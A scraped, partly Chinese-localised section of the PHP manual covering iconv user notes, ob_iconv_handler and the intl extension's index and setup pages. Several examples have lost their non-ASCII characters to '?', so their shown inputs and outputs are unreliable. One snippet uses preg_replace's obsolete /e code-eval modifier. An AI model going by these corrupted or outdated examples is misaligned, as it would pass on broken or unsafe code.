To strip bogus characters from your input (such as data from an unsanitized or other source which you can't trust to necessarily give you strings encoded according to their advertised encoding set), use the same character set as both the input and the output, with //IGNORE on the output charcter set.
<?php
// assuming '?' is actually UTF8, htmlentities will assume it's iso-8859
// since we did not specify in the 3rd argument of htmlentities.
// This generates "&acirc;[bad utf-8 character]"
// If passed to any libxml, it will generate a fatal error.
$badUTF8 = htmlentities('?');

// iconv() can ignore characters which cannot be encoded in the target character set
$goodUTF8 = iconv("utf-8", "utf-8//IGNORE", $badUTF8);
?>
The result of the example does not give you back the dagger character which was the original input (it got lost when htmlentities was misused to encode it incorrectly, though this is common from people not accustomed to dealing with extended character sets), but it does at least give you data which is sane in your target character set.
gree:.. (gree 4T grees D0T net) 24-Aug-2007 02:19
In my case, I had to change:
<?php
setlocale(LC_CTYPE, 'cs_CZ');
?>
to
<?php
setlocale(LC_CTYPE, 'cs_CZ.UTF-8');
?>
Otherwise it returns question marks.

When I asked my linux for locale (by locale command) it returns "cs_CZ.UTF-8", so there is maybe correlation between it.

iconv (GNU libc) 2.6.1
glibc 2.3.6
Ritchie 24-Mar-2007 04:11
Please note that iconv('UTF-8', 'ASCII//TRANSLIT', ...) doesn't work properly when locale category LC_CTYPE is set to C or POSIX. You must choose another locale otherwise all non-ASCII characters will be replaced with question marks. This is at least true with glibc 2.5.

Example:
<?php
setlocale(LC_CTYPE, 'POSIX');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "?lu?ou?ky k?ň\n");
// ?lu?ou?k? k??

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "?lu?ou?ky k?ň\n");
// Zlutoucky kun
?>
Locoluis 15-Nov-2006 12:36
The following are Microsoft encodings that are based on ISO-8859 but with the addition of those stupid control characters.

CP1250 is Eastern European (not ISO-8859-2)
CP1251 is Cyrillic (not ISO-8859-5)
CP1252 is Western European (not ISO-8859-1)
CP1253 is Greek (not ISO-8859-7)
CP1254 is Turkish (not ISO-8859-9)
CP1255 is Hebrew (not ISO-8859-8)
CP1256 is Arabic (not ISO-8859-6)
CP1257 is Baltic (not ISO-8859-4)

If you know you're getting input from a Windows machine with those encodings, use one of these as a parameter to iconv.
nilcolor at gmail dot coom 24-Nov-2005 03:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com 30-May-2005 03:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
    if(substr($v,0,2) == "%u")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
    elseif(substr($v,0,3) == "&#x")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
    elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
      $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
    }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com 01-Feb-2005 03:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if (hexdec($substring1) < 127)
                        $results = "00".$str[$i].$str[$i+1];
                else
                {
                        $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                        if ($results < 1000) $results = "0".$results;
                        $i+=2;
                }
                $ucs2 .= $results;
        }
        return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
zhawari at hotmail dot com 18-Jan-2005 03:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

<?php
function ucs2toutf8($str)
{
        for ($i=0;$i<strlen($str);$i+=4)
        {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if ($substring1 == "00")
                {
                        $byte1 = "";
                        $byte2 = $substring2;
                }
                else
                {
                        $substring = $substring1.$substring2;
                        $byte1 = dechex(192+(hexdec($substring)/64));
                        $byte2 = dechex(128+(hexdec($substring)%64));
                }
                $utf8 .= $byte1.$byte2;
        }
        return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
aissam at yahoo dot com 29-Nov-2004 08:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
    $str=trim($str); // if you are reading from file
    $len=strlen($str);
    $html='';
    for($i=0;$i<$len;$i+=2)
        $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
    return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com 18-Nov-2004 01:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}
?>
vitek at 4rome dot ru 15-Nov-2004 11:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com 22-Jun-2004 08:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
            "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
                "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah


以输出缓冲处理程序转换字符编码

  • ? iconv
  • intl ?
  • PHP Manual
  • iconv 函数
  • 以输出缓冲处理程序转换字符编码

ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ob_iconv_handler — 以输出缓冲处理程序转换字符编码

说明

ob_iconv_handler(string $contents, int $status): string

将字符编码从 internal_encoding 转换到 output_encoding。

internal_encoding 和 output_encoding 应当在 php.ini 文件或 iconv_set_encoding() 中定义。

参数

关于处理程序参数的信息，参见 ob_start()。

返回值

关于处理程序返回值的信息，参见 ob_start()。

示例

Example #1 ob_iconv_handler() 例子：

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
ob_start("ob_iconv_handler"); // 开始输出缓冲
?>

参见

  • iconv_get_encoding() - 获取 iconv 扩展的内部配置变量
  • iconv_set_encoding() - 为字符编码转换设定当前设置
  • 输出控制函数

User Contributed Notes

st33mann at gmx dot n3t 04-Oct-2005 11:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".


Internationalization Functions

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage of this extension
  • Collator — The Collator class
    • Collator::asort — Sort array maintaining index association
    • Collator::compare — Compare two Unicode strings
    • Collator::__construct — Create a collator
    • Collator::create — Create a collator
    • Collator::getAttribute — Get collation attribute value
    • Collator::getErrorCode — Get collator's last error code
    • Collator::getErrorMessage — Get text for collator's last error code
    • Collator::getLocale — Get the locale name of the collator
    • Collator::getSortKey — Get sorting key for a string
    • Collator::getStrength — Get current collation strength
    • Collator::setAttribute — Set collation attribute
    • Collator::setStrength — Set collation strength
    • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
    • Collator::sort — Sort array using specified collator
  • NumberFormatter — The NumberFormatter class
    • NumberFormatter::create — Create a number formatter
    • NumberFormatter::formatCurrency — Format a currency value
    • NumberFormatter::format — Format a number
    • NumberFormatter::getAttribute — Get an attribute
    • NumberFormatter::getErrorCode — Get formatter's last error code
    • NumberFormatter::getErrorMessage — Get formatter's last error message
    • NumberFormatter::getLocale — Get formatter locale
    • NumberFormatter::getPattern — Get formatter pattern
    • NumberFormatter::getSymbol — Get a symbol value
    • NumberFormatter::getTextAttribute — Get a text attribute
    • NumberFormatter::parseCurrency — Parse a currency number
    • NumberFormatter::parse — Parse a number
    • NumberFormatter::setAttribute — Set an attribute
    • NumberFormatter::setPattern — Set formatter pattern
    • NumberFormatter::setSymbol — Set a symbol value
    • NumberFormatter::setTextAttribute — Set a text attribute
  • Locale — The Locale class
    • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
    • Locale::canonicalize — Canonicalize the locale string
    • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
    • Locale::filterMatches — Checks if a language tag filter matches with locale
    • Locale::getAllVariants — Gets the variants for the input locale
    • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
    • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
    • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
    • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
    • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
    • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
    • Locale::getKeywords — Gets the keywords for the input locale
    • Locale::getPrimaryLanguage — Gets the primary language for the input locale
    • Locale::getRegion — Gets the region for the input locale
    • Locale::getScript — Gets the script for the input locale
    • Locale::lookup — Searches the language tag list for the best match to the language
    • Locale::parseLocale — Returns a key-value array of locale ID subtag elements
    • Locale::setDefault — Sets the default runtime locale
  • Normalizer — The Normalizer class
    • Normalizer::getRawDecomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point
    • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form
    • Normalizer::normalize — Normalizes the input provided and returns the normalized string
  • MessageFormatter — The MessageFormatter class
    • MessageFormatter::create — Constructs a new Message Formatter
    • MessageFormatter::formatMessage — Quick format message
    • MessageFormatter::format — Format the message
    • MessageFormatter::getErrorCode — Get the error code from last operation
    • MessageFormatter::getErrorMessage — Get the error text from the last operation
    • MessageFormatter::getLocale — Get the locale for which the formatter was created
    • MessageFormatter::getPattern — Get the pattern used by the formatter
    • MessageFormatter::parseMessage — Quick parse input string
    • MessageFormatter::parse — Parse input string according to pattern
    • MessageFormatter::setPattern — Set the pattern used by the formatter
  • IntlCalendar — The IntlCalendar class
    • IntlCalendar::add — Add a (signed) amount of time to a field
    • IntlCalendar::after — Whether this object?s time is after that of the passed object
    • IntlCalendar::before — Whether this object?s time is before that of the passed object
    • IntlCalendar::clear — Clear a field or all fields
    • IntlCalendar::__construct — Private constructor for disallowing instantiation
    • IntlCalendar::createInstance — Create a new IntlCalendar
    • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
    • IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time
    • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
    • IntlCalendar::get — Get the value for a field
    • IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time
    • IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time
    • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
    • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
    • IntlCalendar::getErrorCode — Get last error code on the object
    • IntlCalendar::getErrorMessage — Get last error message on the object
    • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale
    • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
    • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
    • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
    • IntlCalendar::getLocale — Get the locale associated with the object
    • IntlCalendar::getMaximum — Get the global maximum value for a field
    • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
    • IntlCalendar::getMinimum — Get the global minimum value for a field
    • IntlCalendar::getNow — Get number representing the current time
    • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
    • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
    • IntlCalendar::getTime — Get time currently represented by the object
    • IntlCalendar::getTimeZone — Get the object?s timezone
    • IntlCalendar::getType — Get the calendar type
    • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
    • IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time
    • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
    • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
    • IntlCalendar::isSet — Whether a field is set
    • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
    • IntlCalendar::roll — Add value to field without carrying into more significant fields
    • IntlCalendar::set — Set a time field or several common fields at once
    • IntlCalendar::setDate — Set a date fields
    • IntlCalendar::setDateTime — Set a date and time fields
    • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
    • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
    • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
    • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
    • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
    • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
    • IntlCalendar::setTimeZone — Set the timezone used by this calendar
    • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object
  • IntlGregorianCalendar — The IntlGregorianCalendar class
    • IntlGregorianCalendar::__construct — Create the Gregorian Calendar class
    • IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date
    • IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time
    • IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date
    • IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year
    • IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date
  • IntlTimeZone — The IntlTimeZone class
    • IntlTimeZone::__construct — Private constructor to disallow direct instantiation
    • IntlTimeZone::countEquivalentIDs — Get the number of IDs in the equivalency group that includes the given ID
    • IntlTimeZone::createDefault — Create a new copy of the default timezone for this host
    • IntlTimeZone::createEnumeration — Get an enumeration over time zone IDs associated with the given country or offset
    • IntlTimeZone::createTimeZone — Create a timezone object for the given ID
    • IntlTimeZone::createTimeZoneIDEnumeration — Get an enumeration over system time zone IDs with the given filter conditions
    • IntlTimeZone::fromDateTimeZone — Create a timezone object from DateTimeZone
    • IntlTimeZone::getCanonicalID — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID
    • IntlTimeZone::getDisplayName — Get a name of this time zone suitable for presentation to the user
    • IntlTimeZone::getDSTSavings — Get the amount of time to be added to local standard time to get local wall clock time
    • IntlTimeZone::getEquivalentID — Get an ID in the equivalency group that includes the given ID
    • IntlTimeZone::getErrorCode — Get last error code on the object
    • IntlTimeZone::getErrorMessage — Get last error message on the object
    • IntlTimeZone::getGMT — Create GMT (UTC) timezone
    • IntlTimeZone::getID — Get timezone ID
    • IntlTimeZone::getIDForWindowsID — Translate a Windows timezone into a system timezone
    • IntlTimeZone::getOffset — Get the time zone raw and GMT offset for the given moment in time
    • IntlTimeZone::getRawOffset — Get the raw GMT offset (before taking daylight savings time into account
    • IntlTimeZone::getRegion — Get the region code associated with the given system time zone ID
    • IntlTimeZone::getTZDataVersion — Get the timezone data version currently used by ICU
    • IntlTimeZone::getUnknown — Get the "unknown" time zone
    • IntlTimeZone::getWindowsID — Translate a system timezone into a Windows timezone
    • IntlTimeZone::hasSameRules — Check if this zone has the same rules and offset as another zone
    • IntlTimeZone::toDateTimeZone — Convert to DateTimeZone object
    • IntlTimeZone::useDaylightTime — Check if this time zone uses daylight savings time
  • IntlDateFormatter — The IntlDateFormatter class
    • IntlDateFormatter::create — Create a date formatter
    • IntlDateFormatter::format — Format the date/time value as a string
    • IntlDateFormatter::formatObject — Formats an object
    • IntlDateFormatter::getCalendar — Get the calendar type used for the IntlDateFormatter
    • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
    • IntlDateFormatter::getErrorCode — Get the error code from last operation
    • IntlDateFormatter::getErrorMessage — Get the error text from the last operation
    • IntlDateFormatter::getLocale — Get the locale used by formatter
    • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
    • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
    • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
    • IntlDateFormatter::getCalendarObject — Get copy of formatter?s calendar object
    • IntlDateFormatter::getTimeZone — Get formatter?s timezone
    • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
    • IntlDateFormatter::localtime — Parse string to a field-based time value
    • IntlDateFormatter::parse — Parse string to a timestamp value
    • IntlDateFormatter::setCalendar — Sets the calendar type used by the formatter
    • IntlDateFormatter::setLenient — Set the leniency of the parser
    • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
    • IntlDateFormatter::setTimeZone — Sets formatter?s timezone
  • ResourceBundle — The ResourceBundle class
    • ResourceBundle::count — Get number of elements in the bundle
    • ResourceBundle::create — Create a resource bundle
    • ResourceBundle::getErrorCode — Get bundle's last error code
    • ResourceBundle::getErrorMessage — Get bundle's last error message
    • ResourceBundle::get — Get data from the bundle
    • ResourceBundle::getLocales — Get supported locales
  • Spoofchecker — The Spoofchecker class
    • Spoofchecker::areConfusable — Checks if given strings can be confused
    • Spoofchecker::__construct — Constructor
    • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
    • Spoofchecker::setAllowedLocales — Locales to use when running checks
    • Spoofchecker::setChecks — Set the checks to run
    • Spoofchecker::setRestrictionLevel — Set the restriction level
  • Transliterator — The Transliterator class
    • Transliterator::__construct — Private constructor to deny instantiation
    • Transliterator::create — Create a transliterator
    • Transliterator::createFromRules — Create transliterator from rules
    • Transliterator::createInverse — Create an inverse transliterator
    • Transliterator::getErrorCode — Get last error code
    • Transliterator::getErrorMessage — Get last error message
    • Transliterator::listIDs — Get transliterator IDs
    • Transliterator::transliterate — Transliterate a string
  • IntlBreakIterator — The IntlBreakIterator class
    • IntlBreakIterator::__construct — Private constructor for disallowing instantiation
    • IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences
    • IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points
    • IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks
    • IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks
    • IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks
    • IntlBreakIterator::createWordInstance — Create break iterator for word breaks
    • IntlBreakIterator::current — Get index of current position
    • IntlBreakIterator::first — Set position to the first character in the text
    • IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset
    • IntlBreakIterator::getErrorCode — Get last error code on the object
    • IntlBreakIterator::getErrorMessage — Get last error message on the object
    • IntlBreakIterator::getLocale — Get the locale associated with the object
    • IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries
    • IntlBreakIterator::getText — Get the text being scanned
    • IntlBreakIterator::isBoundary — Tell whether an offset is a boundary?s offset
    • IntlBreakIterator::last — Set the iterator position to index beyond the last character
    • IntlBreakIterator::next — Advance the iterator the next boundary
    • IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset
    • IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current
    • IntlBreakIterator::setText — Set the text being scanned
  • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
    • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
    • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
    • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
    • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position
  • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator
  • IntlDatePatternGenerator — The IntlDatePatternGenerator class
    • IntlDatePatternGenerator::create — Creates a new IntlDatePatternGenerator instance
    • IntlDatePatternGenerator::getBestPattern — Determines the most suitable date/time format
  • IntlPartsIterator — The IntlPartsIterator class
    • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator
  • UConverter — The UConverter class
    • UConverter::__construct — Create UConverter object
    • UConverter::convert — Convert string from one charset to another
    • UConverter::fromUCallback — Default "from" callback function
    • UConverter::getAliases — Get the aliases of the given name
    • UConverter::getAvailable — Get the available canonical converter names
    • UConverter::getDestinationEncoding — Get the destination encoding
    • UConverter::getDestinationType — Get the destination converter type
    • UConverter::getErrorCode — Get last error code on the object
    • UConverter::getErrorMessage — Get last error message on the object
    • UConverter::getSourceEncoding — Get the source encoding
    • UConverter::getSourceType — Get the source converter type
    • UConverter::getStandards — Get standards associated to converter names
    • UConverter::getSubstChars — Get substitution chars
    • UConverter::reasonText — Get string representation of the callback reason
    • UConverter::setDestinationEncoding — Set the destination encoding
    • UConverter::setSourceEncoding — Set the source encoding
    • UConverter::setSubstChars — Set the substitution chars
    • UConverter::toUCallback — Default "to" callback function
    • UConverter::transcode — Convert a string from one character encoding to another
  • Grapheme 函数
    • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8
    • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
    • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
    • grapheme_strlen — Get string length in grapheme units
    • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
    • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
    • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
    • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack
    • grapheme_substr — Return part of a string
  • IDN 函数
    • idn_to_ascii — 将域名转换为 IDNA ASCII 格式
    • idn_to_utf8 — 将域名从 IDNA ASCII 转换为 Unicode
  • IntlChar
    • IntlChar::charAge — Get the "age" of the code point
    • IntlChar::charDigitValue — Get the decimal digit value of a decimal digit character
    • IntlChar::charDirection — Get bidirectional category value for a code point
    • IntlChar::charFromName — Find Unicode character by name and return its code point value
    • IntlChar::charMirror — Get the "mirror-image" character for a code point
    • IntlChar::charName — Retrieve the name of a Unicode character
    • IntlChar::charType — Get the general category value for a code point
    • IntlChar::chr — Return Unicode character by code point value
    • IntlChar::digit — Get the decimal digit value of a code point for a given radix
    • IntlChar::enumCharNames — Enumerate all assigned Unicode characters within a range
    • IntlChar::enumCharTypes — Enumerate all code points with their Unicode general categories
    • IntlChar::foldCase — Perform case folding on a code point
    • IntlChar::forDigit — Get character representation for a given digit and radix
    • IntlChar::getBidiPairedBracket — Get the paired bracket character for a code point
    • IntlChar::getBlockCode — Get the Unicode allocation block containing a code point
    • IntlChar::getCombiningClass — Get the combining class of a code point
    • IntlChar::getFC_NFKC_Closure — Get the FC_NFKC_Closure property for a code point
    • IntlChar::getIntPropertyMaxValue — Get the max value for a Unicode property
    • IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property
    • IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point
    • IntlChar::getNumericValue — Get the numeric value for a Unicode code point
    • IntlChar::getPropertyEnum — Get the property constant value for a given property name
    • IntlChar::getPropertyName — Get the Unicode name for a property
    • IntlChar::getPropertyValueEnum — Get the property value for a given value name
    • IntlChar::getPropertyValueName — Get the Unicode name for a property value
    • IntlChar::getUnicodeVersion — Get the Unicode version
    • IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point
    • IntlChar::isalnum — Check if code point is an alphanumeric character
    • IntlChar::isalpha — Check if code point is a letter character
    • IntlChar::isbase — Check if code point is a base character
    • IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character
    • IntlChar::iscntrl — Check if code point is a control character
    • IntlChar::isdefined — Check whether the code point is defined
    • IntlChar::isdigit — Check if code point is a digit character
    • IntlChar::isgraph — Check if code point is a graphic character
    • IntlChar::isIDIgnorable — Check if code point is an ignorable character
    • IntlChar::isIDPart — Check if code point is permissible in an identifier
    • IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier
    • IntlChar::isISOControl — Check if code point is an ISO control code
    • IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier
    • IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier
    • IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java
    • IntlChar::islower — Check if code point is a lowercase letter
    • IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property
    • IntlChar::isprint — Check if code point is a printable character
    • IntlChar::ispunct — Check if code point is punctuation character
    • IntlChar::isspace — Check if code point is a space character
    • IntlChar::istitle — Check if code point is a titlecase letter
    • IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property
    • IntlChar::isULowercase — Check if code point has the Lowercase Unicode property
    • IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)
    • IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property
    • IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property
    • IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU
    • IntlChar::isxdigit — Check if code point is a hexadecimal digit
    • IntlChar::ord — Return Unicode code point value of character
    • IntlChar::tolower — Make Unicode character lowercase
    • IntlChar::totitle — Make Unicode character titlecase
    • IntlChar::toupper — Make Unicode character uppercase
  • IntlException — Exception class for intl errors
  • IntlIterator — The IntlIterator class
    • IntlIterator::current — Get the current element
    • IntlIterator::key — Get the current key
    • IntlIterator::next — Move forward to the next element
    • IntlIterator::rewind — Rewind the iterator to the first element
    • IntlIterator::valid — Check if current position is valid
  • intl 函数
    • intl_error_name — Get symbolic name for a given error code
    • intl_get_error_code — Get the last error code
    • intl_get_error_message — Get description of the last error
    • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

Ryan 23-Feb-2020 10:15
Most of this classes are not documented clearly.
You can use https://github.com/salarmehr/cosmopolitan that is based on Intl extension and way easier to use.


简介

Internationalization extension (further is referred as Intl) is a wrapper for » ICU library, enabling PHP programmers to perform various locale-aware operations including but not limited to formatting, transliteration, encoding conversion, calendar operations, » UCA-conformant collation, locating text boundaries and working with locale identifiers, timezones and graphemes.

It tends to closely follow ICU APIs, so that people having experience working with ICU in either C/C++ or Java could easily use the PHP API. Also, this way ICU documentation would be useful to understand various ICU functions.

Intl consists of several modules, each of them exposes the corresponding ICU API:

  • Collator: provides string comparison capability with support for appropriate locale-sensitive sort orderings.
  • Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers.
  • Message Formatter: allows to create messages incorporating data (such as numbers or dates) formatted according to given pattern and locale rules, and parse messages extracting data from them. It can handle plurals, locale-aware numbers, currencies, conditions and much more.
  • Normalizer: provides a function to transform text into one of the Unicode normalization forms, and provides a routine to test if a given string is already normalized.
  • Locale: provides interaction with locale identifiers in the form of functions to get subtags from locale identifier; parse, compose, match(lookup and filter) locale identifiers.
  • Calendar: provides a class which could be used for locale-aware calendar operations and getting various information such as timezone for locale chosen, first day of week or if it's daylight saving time now.
  • Timezone: provides a wrapper around the » "Olson" database which has information about all the timezones around the world.
  • Date formatter: allows to display date and time according to the localized format or given pattern or set of rules, and to parse strings into date and time.
  • Transliterator: allows getting latin representation of strings in various languages.

Links

  • » Miscellaneous ICU docs

  • » ICU User Guide

  • » Unicode Collation Algorithm

User Contributed Notes

There are no user contributed notes for this page.


需求

To build the extension you need to install the » ICU library, version 4.0.0 or newer is required. As of PHP 7.4.0 ICU 50.1 or newer is required.

User Contributed Notes

There are no user contributed notes for this page.


安装

--enable-intl will enable the extension while compiling PHP.

If your ICU is installed to a non-standard directory then you might want to specify its location in LD_LIBRARY_PATH environment variable so that dynamic linker can find it:

$ export LD_LIBRARY_PATH=/opt/icu/lib

